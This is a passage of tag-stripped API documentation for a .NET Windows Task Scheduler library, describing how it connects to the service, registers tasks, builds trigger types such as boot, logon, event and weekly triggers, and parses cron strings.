We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task folder used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. For more information, see Remarks. + + The name used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Quick simple trigger types for the + method. + + + + At boot. + + + On system idle. + + + At logon of any user. + + + When the task is registered. + + + Hourly, starting now. + + + Daily, starting now. + + + Weekly, starting now. + + + Monthly, starting now. + + + + Known versions of the native Task Scheduler library. This can be used as a decoder for the + and values. + + + + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016 post build 1703). + + + Provides access to the Task Scheduler service for managing registered tasks. + + + Creates a new instance of a TaskService connecting to the local machine as the current user. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer. If the user name and password are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Delegate for methods that support update calls during COM handler execution. + The percentage of completion (0 to 100). + An optional message. + + + Occurs when the Task Scheduler is connected to the local or remote target. + + + Occurs when the Task Scheduler is disconnected from the local or remote target. + + + Gets a local instance of the using the current user's credentials. + Local user instance. + + + + Gets the library version. This is the highest version supported by the local library. Tasks cannot be created using any + compatibility level higher than this version. + + The library version. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + + Gets or sets a value indicating whether to allow tasks from later OS versions with new properties to be retrieved as read only tasks. + + true if allow read only tasks; otherwise, false. + + + Gets the name of the domain to which the computer is connected. + + + Gets the name of the user that is connected to the Task Scheduler service. + + + Gets the highest version of Task Scheduler that a computer supports. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + Gets the root ("\") folder. For Task Scheduler 1.0, this is the only folder. + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + Gets or sets the user account domain to be used when connecting to the . + The user account domain. + + + Gets or sets the user name to be used when connecting to the . + The user name. + + + Gets or sets the user password to be used when connecting to the . + The user password. + + + Gets a which enumerates all the tasks in all folders. + A for all instances. + + + Gets a Boolean value that indicates if you are connected to the Task Scheduler service. + + + + Gets the connection token for this instance. This token is thread safe and can be used to create new + instances on other threads using the static method. + + The connection token. + + + Gets a value indicating whether the component can raise an event. + + + + Creates a new instance from a token. Given that a TaskService instance is thread specific, this is the + preferred method for multi-thread creation or asynchronous method parameters. + + The token. + A instance valid for the thread calling this method. + + + Gets a formatted string that tells the Task Scheduler to retrieve a string from a resource .dll file. + The path to the .dll file that contains the resource. + The identifier for the resource text (typically a negative number). + A string in the format of $(@ [dllPath], [resourceId]). + + For example, the setting this property value to $(@ %SystemRoot%\System32\ResourceName.dll, -101) will set the property to the + value of the resource text with an identifier equal to -101 in the %SystemRoot%\System32\ResourceName.dll file. + + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + The value set by the COM object via a call to the method. + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + The action to run on thread completion. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + + + Adds or updates an Automatic Maintenance Task on the connected machine. + Name of the task with full path. + The amount of time the task needs once executed during regular Automatic maintenance. + + The amount of time after which the Task Scheduler attempts to run the task during emergency Automatic maintenance, if the task + failed to complete during regular Automatic Maintenance. + + The path to an executable file. + The arguments associated with the command-line operation. + + The directory that contains either the executable file or the files that are used by the executable file. + + A instance of the Automatic Maintenance Task. + + Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later. + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The to determine what happens when the task is triggered. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + This method is shorthand for creating a new TaskDescription, adding a trigger and action, and then registering it in the root folder. + + + + + + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The executable path. + The arguments (optional). Value can be NULL. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + + + + + + + Signals the object that initialization is starting. + + + Signals the object that initialization is complete. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Finds all tasks matching a name or standard wildcards. + Name of the task in regular expression form. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds all tasks matching a name or standard wildcards. + The filter used to determine tasks to select. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds a task given a name and standard wildcards. + The task name. This can include the wildcards * or ?. + if set to true search all sub folders. + A if one matches , otherwise NULL. + + + Gets the event log for this instance. + (Optional) The task path if only the events for a single task are desired. + A instance. + + + Gets the path to a folder of registered tasks. + + The path to the folder to retrieve. Do not use a backslash following the last folder name in the path. The root task folder is + specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character + cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + instance for the requested folder or null if was unrecognized. + + Folder other than the root (\) was requested on a system not supporting Task Scheduler 2.0. + + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets a collection of running tasks. + True to include hidden tasks. + instance with the list of running tasks. + + + Gets the task with the specified path. + The task path. + + The instance matching the , if found. If not found, this method returns null. + + + + + Returns an empty task definition object to be filled in with settings and properties and then registered using the + method. + + A instance for setting properties. + + + Returns a populated with the properties defined in an XML file. + The XML file to use as input. + A instance. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + Starts the Task Scheduler UI for the OS hosting the assembly if the session is running in interactive mode. + + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Connects this instance of the class to a running Task Scheduler. + + + Finds the task in folder. + The folder. + The wildcard expression to compare task names with. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + Finds the task in folder. + The folder. + The filter to use when looking for tasks. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + + Represents a valid, connected session to a Task Scheduler instance. This token is thread-safe and should be the means of passing + information about a between threads. + + + + Initial call for a Fluent model of creating a task. + The path of the program to run. + An instance. + + + + Abstract base class which provides the common properties that are inherited by all trigger classes. A trigger can be created using the + or the method. + + + + Creates a trigger using a cron string. + String using cron defined syntax for specifying a time interval. See remarks for syntax. + Array of representing the specified cron string. + Unsupported cron string. + + This method does not support all combinations of cron strings. Please test extensively before use. Please post an issue with any + syntax that should work, but doesn't. + The following combinations are known not to work: + + Intervals on months (e.g. "* * * */5 *") + Intervals on DOW (e.g. "* * * * MON/3") + + + This section borrows liberally from the site http://www.nncron.ru/help/EN/working/cron-format.htm. The cron format consists of five fields separated + by white spaces: + + + <Minute> <Hour> <Day_of_the_Month> <Month_of_the_Year> <Day_of_the_Week> + + Each item has bounds as defined by the following: + + * * * * * + | | | | | + | | | | +---- Day of the Week (range: 1-7, 1 standing for Monday) + | | | +------ Month of the Year (range: 1-12) + | | +-------- Day of the Month (range: 1-31) + | +---------- Hour (range: 0-23) + +------------ Minute (range: 0-59) + + Any of these 5 fields may be an asterisk (*). This would mean the entire range of possible values, i.e. each minute, each hour, etc. + + Any of the first 4 fields can be a question mark ("?"). It stands for the current time, i.e. when a field is processed, the current time will be + substituted for the question mark: minutes for Minute field, hour for Hour field, day of the month for Day of month field and month for Month field. + + Any field may contain a list of values separated by commas, (e.g. 1,3,7) or a range of values (two integers separated by a hyphen, e.g. 1-5). + + After an asterisk (*) or a range of values, you can use character / to specify that values are repeated over and over with a certain interval between + them. For example, you can write "0-23/2" in Hour field to specify that some action should be performed every two hours (it will have the same effect + as "0,2,4,6,8,10,12,14,16,18,20,22"); value "*/4" in Minute field means that the action should be performed every 4 minutes, "1-30/3" means the same + as "1,4,7,10,13,16,19,22,25,28". + + + + + In testing and may change. Do not use until officially introduced into library. + + + Gets or sets a Boolean value that indicates whether the trigger is enabled. + + + Gets or sets the date and time when the trigger is deactivated. The trigger cannot start the task after it is deactivated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for the Day, Month and Year values of the structure. + + + Version 2 (1.2 or higher) of the native library only allows for both date and time and all values. However, the user + interface and methods will always show the time translated to local time. The library makes every attempt to + maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, the "Synchronize across time zones" checkbox will be + checked if the Kind is Local or Utc. If the Kind is Unspecified and the user selects the checkbox, the Kind will be changed to Utc and the time + adjusted from the value displayed as the local time. + + + + + + Gets or sets the maximum amount of time that the task launched by this trigger is allowed to run. Not available with Task Scheduler 1.0. + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier for the trigger. Cannot set with Task Scheduler 1.0. + Not supported under Task Scheduler 1.0. + + + + Gets a instance that indicates how often the task is run and how long the repetition pattern is repeated after the + task is started. + + + + Gets or sets the date and time when the trigger is activated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for values where the + is unspecified. If the DateTime value Kind is then it will be used as is. If the + DateTime value Kind is then it will be converted to the local time and then used. + + + Version 2 (1.2 or higher) of the native library only allows for all values. However, the user interface and + methods will always show the time translated to local time. The library makes every attempt to maintain the Kind + value. When using the UI elements provided in the TaskSchedulerEditor library, the "Synchronize across time zones" checkbox will be checked if the + Kind is Local or Utc. If the Kind is Unspecified and the user selects the checkbox, the Kind will be changed to Utc and the time adjusted from the + value displayed as the local time. + + + Under Version 2, when converting the string used in the native library for this value (ITrigger.Startboundary) this library will behave as follows: + + YYYY-MM-DDTHH:MM:SS format uses DateTimeKind.Unspecified and the time specified. + YYYY-MM-DDTHH:MM:SSZ format uses DateTimeKind.Utc and the time specified as the GMT time. + YYYY-MM-DDTHH:MM:SS±HH:MM format uses DateTimeKind.Local and the time specified in that time zone. + + + + + + Gets the type of the trigger. + The of the trigger. + + + Creates the specified trigger. + Type of the trigger to instantiate. + of specified type. + + + Creates a new that is an unbound copy of this instance. + A new that is an unbound copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, + follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Sets the repetition. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the pattern is + repeated indefinitely. + + if set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + Returns a string representing this trigger. + String value of trigger. + + + Returns a that represents this trigger in a specific language. + The language of the resulting string. + String value of trigger. + + + Gets the best time span string. + The to display. + Either the full string representation created by TimeSpan2 or the default TimeSpan representation. + + + Assigns the unbound TriggerData structure to the V1 trigger instance. + + + Checks the bind value for any conversion. + The key (property) name. + The value. + + + Gets the unbound value or a default. + Return type. + The property name. + The default value if not found in unbound value list. + The unbound value, if set, or the default value. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Fluent helper class. Not intended for use. + + + Adds a trigger that executes at logon of all users. + instance. + + + Adds a trigger that executes at logon of a specific user. + The user id. + instance. + + + Adds a trigger that executes at task registration. + instance. + + + Adds a trigger that executes every day or week. + The interval of days or weeks. + instance. + + + Adds a trigger that executes monthly on specific days. + The months of the year in which to run. + instance. + + + Adds a working directory to the . + The directory. + instance. + + + Adds a trigger that executes monthly on certain days of the week. + The days of the week on which to run. + instance. + + + Adds a trigger that executes at system startup. + instance. + + + Adds a trigger that executes once at a specific time. + instance. + + + Adds a trigger that executes when system is idle. + instance. + + + Adds a trigger that executes once at specified state change. + Type of the change. + instance. + + + Adds arguments to the . + The arguments. + instance. + + + Fluent helper class. Not intended for use. + + + Transitions to settings syntax. + + + Assigns the name of the task and registers it. + The name. + A registered instance. + + + Assigns the name of the task and registers it. + The name. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + A registered instance. + + + Fluent helper class. Not intended for use. + + + Specifies that an Every target uses days as the interval. + instance. + + + Specifies that an Every target uses weeks as the interval. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify in which weeks of the month it will run. + The week. + instance. + + + Updates a monthly trigger to specify the months of the year in which it will run. + The month of the year. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify the days of the month on which it will run. + The days. + instance. + + + Fluent helper class. Not intended for use. + + + Indicates that the task will be started even if the computer is running on battery power. + instance. + + + + Indicates that the task will be started even if the task is triggered to run in a Remote Applications Integrated Locally + (RAIL) session. + + instance. + + + Sets the task data to a string. + instance. + + + Sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. + instance. + + + Indicates that the task cannot be started with the Run command or the Context menu. + instance. + + + Indicates that the task may not be terminated by using TerminateProcess. + instance. + + + Sets the amount of time that is allowed to complete the task. + instance. + + + Sets the policy that defines how the Task Scheduler handles multiple instances of the task. + instance. + + + Indicates that the task will not be stopped if the computer switches to battery power. + instance. + + + Indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + instance. + + + Indicates that the Task Scheduler will run the task only when a network is available. + instance. + + + Sets the priority level of the task. + instance. + + + Sets a value that specifies how long the Task Scheduler will attempt to restart the task. + instance. + + + Indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + instance. + + + Indicates that the Task Scheduler will wake the computer when it is time to run the task. + instance. + + + Fluent helper class. Not intended for use. + + + Specifies a date on which a trigger will no longer run. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will no longer run. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will no longer run. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will no longer run. + The DateTime value. + instance. + + + Determines whether this trigger is disabled. + instance. + + + Specifies a repetition interval for the trigger. + The interval span. + instance. + + + Specifies a repetition interval for the trigger. + The interval span string. Must be parsable by . + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span. + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span string. Must be parsable by . + instance. + + + Specifies a date on which a trigger will start. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will start. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will start. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will start. + The DateTime value. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a weekly trigger to specify the days of the week on which it will run. + The days of the week. + instance. + + + Fluent helper class. Not intended for use. + + + Values for days of the week (Monday, Tuesday, etc.) + + + Sunday + + + Monday + + + Tuesday + + + Wednesday + + + Thursday + + + Friday + + + Saturday + + + All days + + + Values for months of the year (January, February, etc.) + + + January + + + February + + + March + + + April + + + May + + + June + + + July + + + August + + + September + + + October + + + November + + + December + + + All months + + + Defines the type of triggers that can be used by tasks. + + + Triggers the task when a specific event occurs. Version 1.2 only. + + + Triggers the task at a specific time of day. + + + Triggers the task on a daily schedule. + + + Triggers the task on a weekly schedule. + + + Triggers the task on a monthly schedule. + + + Triggers the task on a monthly day-of-week schedule. + + + Triggers the task when the computer goes into an idle state. + + + Triggers the task when the task is registered. Version 1.2 only. + + + Triggers the task when the computer boots. + + + Triggers the task when a specific user logs on. + + + Triggers the task when a specific user session state changes. Version 1.2 only. + + + Triggers the custom trigger. Version 1.3 only. + + + Values for week of month (first, second, ..., last) + + + First week of the month + + + Second week of the month + + + Third week of the month + + + Fourth week of the month + + + Last week of the month + + + Every week of the month + + + Interface that categorizes the trigger as a calendar trigger. + + + Interface for triggers that support a delay. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Interface for triggers that support a user identifier. + + + Gets or sets the user for the . + + + Represents a trigger that starts a task when the system is booted. + A BootTrigger will fire when the system starts. It can only be delayed. All triggers that support a delay implement the ITriggerDelay interface. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a custom trigger. This class is based on undocumented features and may change. This type of trigger is only available for reading custom + triggers. It cannot be used to create custom triggers. + + + + Gets a value that indicates the amount of time between the trigger events and when the task is started. + This value cannot be set. + + + Gets the name of the custom trigger type. + The name of the XML element representing this custom trigger. + + + Gets the properties from the XML definition if possible. + + + Clones this instance. + This method will always throw an exception. + CustomTrigger cannot be cloned due to OS restrictions. + + + Updates custom properties from XML provided by definition. + The XML from the TaskDefinition. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a daily schedule. For example, the task starts at a specific time every day, every other day, every + third day, and so on. + + A DailyTrigger will fire at a specified time every day or interval of days. + + + + + + + + Creates an unbound instance of a . + Interval between the days in the schedule. + + + Sets or retrieves the interval between the days in the schedule. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a system event occurs. Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 + and later. + + The EventTrigger runs when a system event fires. + + + "; + eTrigger.ValueQueries.Add("Name", "Value"); + ]]> + + + + + Creates an unbound instance of a . + + + Initializes an unbound instance of the class and sets a basic event. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the XPath query string that identifies the event that fires the trigger. + + + + Gets a collection of named XPath queries. Each query in the collection is applied to the last matching event XML returned from the subscription query + specified in the Subscription property. The name of the query can be used as a variable in the message of a action. + + + + Builds an event log XML query string based on the input parameters. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + XML query string. + log + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets basic event information. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + true if subscription represents a basic event, false if not. + + + + Sets the subscription for a basic event. This will replace the contents of the property and clear all entries in the + property. + + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when the computer goes into an idle state. For information about idle conditions, see Task Idle Conditions. + + + An IdleTrigger will fire when the system becomes idle. It is generally a good practice to set a limit on how long it can run using the ExecutionTimeLimit property. + + + + + + + + + Creates an unbound instance of a . + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a user logs on. When the Task Scheduler service starts, all logged-on users are enumerated and any tasks + registered with logon triggers that match the logged on user are run. Not available on Task Scheduler 1.0. + + A LogonTrigger will fire after a user logs on. It can only be delayed. Under V2, you can specify which user it applies to. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + + Gets or sets The identifier of the user. For example, "MyDomain\MyName" or for a local account, "Administrator". + This property can be in one of the following formats: + • User name or SID: The task is started when the user logs on to the computer. + • NULL: The task is started when any user logs on to the computer. + + + If you want a task to be triggered when any member of a group logs on to the computer rather than when a specific user logs on, then do not assign a + value to the LogonTrigger.UserId property. Instead, create a logon trigger with an empty LogonTrigger.UserId property and assign a value to the + principal for the task using the Principal.GroupId property. + + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task on a monthly day-of-week schedule. For example, the task starts on every first Thursday, May through October. + + + + Creates an unbound instance of a . + The days of the week. + The months of the year. + The weeks of the month. + + + Gets or sets the days of the week during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last week of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets the weeks of the month during which the task runs. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + Represents a trigger that starts a job based on a monthly schedule. For example, the task starts on specific days of specific months. + + + Creates an unbound instance of a . + + The day of the month. This must be a value between 1 and 32. If this value is set to 32, then the + value will be set and no days will be added regardless of the month. + + The months of the year. + + + Gets or sets the days of the month during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last day of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Converts an array of bit indices into a mask with bits turned ON at every index contained in the array. Indices must be from 1 to 32 and bits are + numbered the same. + + An array with an element for each bit of the mask which is ON. + An integer to be interpreted as a mask. + + + Compares two collections. + Item type of collections. + The first collection. + The second collection + true if the collections values are equal; false otherwise. + + + + Convert an integer representing a mask to an array where each element contains the index of a bit that is ON in the mask. Bits are considered to + number from 1 to 32. + + An integer to be interpreted as a mask. + An array with an element for each bit of the mask which is ON. + + + Reads the subclass XML for V1 streams. + The reader. + + + + Represents a trigger that starts a task when the task is registered or updated. Not available on Task Scheduler 1.0. Only available for Task + Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + The RegistrationTrigger will fire after the task is registered (saved). It is advisable to put in a delay. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Defines how often the task is run and how long the repetition pattern is repeated after the task is started. + This can be used directly or by assignment for a . + + + + + + + + Initializes a new instance of the class. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the pattern is + repeated indefinitely. + + If set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + Gets or sets how long the pattern is repeated. + + The duration that the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the pattern is repeated indefinitely. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + + Gets or sets the amount of time between each restart of the task. + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + If you specify a repetition duration for a task, you must also specify the repetition interval. + The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + Gets or sets a Boolean value that indicates if a running instance of the task is stopped at the end of repetition pattern duration. + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Determines whether any properties for this have been set. + true if properties have been set; otherwise, false. + + + + Triggers tasks for console connect or disconnect, remote connect or disconnect, or workstation lock or unlock notifications. Only available for + Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + + The SessionStateChangeTrigger will fire after six different system events: connecting or disconnecting locally or remotely, or locking or unlocking the session. + + + + + + + + + Creates an unbound instance of a . + + + Initializes a new instance of the class. + The state change. + The user identifier. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the kind of Terminal Server session change that would trigger a task launch. + + + Gets or sets the user for the Terminal Server session. When a session state change is detected for this user, a task is started. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Returns a value indicating if the StateChange property has been set. + StateChange property has been set. + + + Represents a trigger that starts a task at a specific date and time. + A TimeTrigger runs at a specified date and time. + + + + + + + + Creates an unbound instance of a . + + + Creates an unbound instance of a and assigns the execution time. + Date and time for the trigger to fire. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a weekly schedule. For example, the task starts at 8:00 A.M. on a specific day of the week every week or + every other week. + + A WeeklyTrigger runs at a specified time on specified days of the week every week or interval of weeks. + + + + + + + + Creates an unbound instance of a . + The days of the week. + The interval between the weeks in the schedule. + + + Gets or sets the days of the week on which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets the interval between the weeks in the schedule. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + + Provides the methods that are used to add to, remove from, and get the triggers of a task. + + + + + Gets the number of triggers in the collection. + + + + + Gets or sets a specified trigger from the collection. + + + The . + + The id () of the trigger to be retrieved. + + Specialized instance. + + + + + Mismatching Id for trigger and lookup. + + + + Gets a specified trigger from the collection. + + The index of the trigger to be retrieved. + Specialized instance. + + + + Add an unbound to the task. + + A type derived from . + derivative to add to the task. + Bound trigger. + unboundTrigger is null. + + + + Add a new trigger to the collections of triggers for the task. + + The type of trigger to create. + A instance of the specified type. + + + + Adds a collection of unbound triggers to the end of the . + + The triggers to be added to the end of the . The collection itself cannot be null and cannot contain null elements. + is null. + + + + Clears all triggers from the task. + + + + + Determines whether the contains a specific value. + + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + + Determines whether the specified trigger type is contained in this collection. + + Type of the trigger. + + true if the specified trigger type is contained in this collection; otherwise, false. + + + + + Copies the elements of the to an , starting at a particular index. + + The one-dimensional that is the destination of the elements 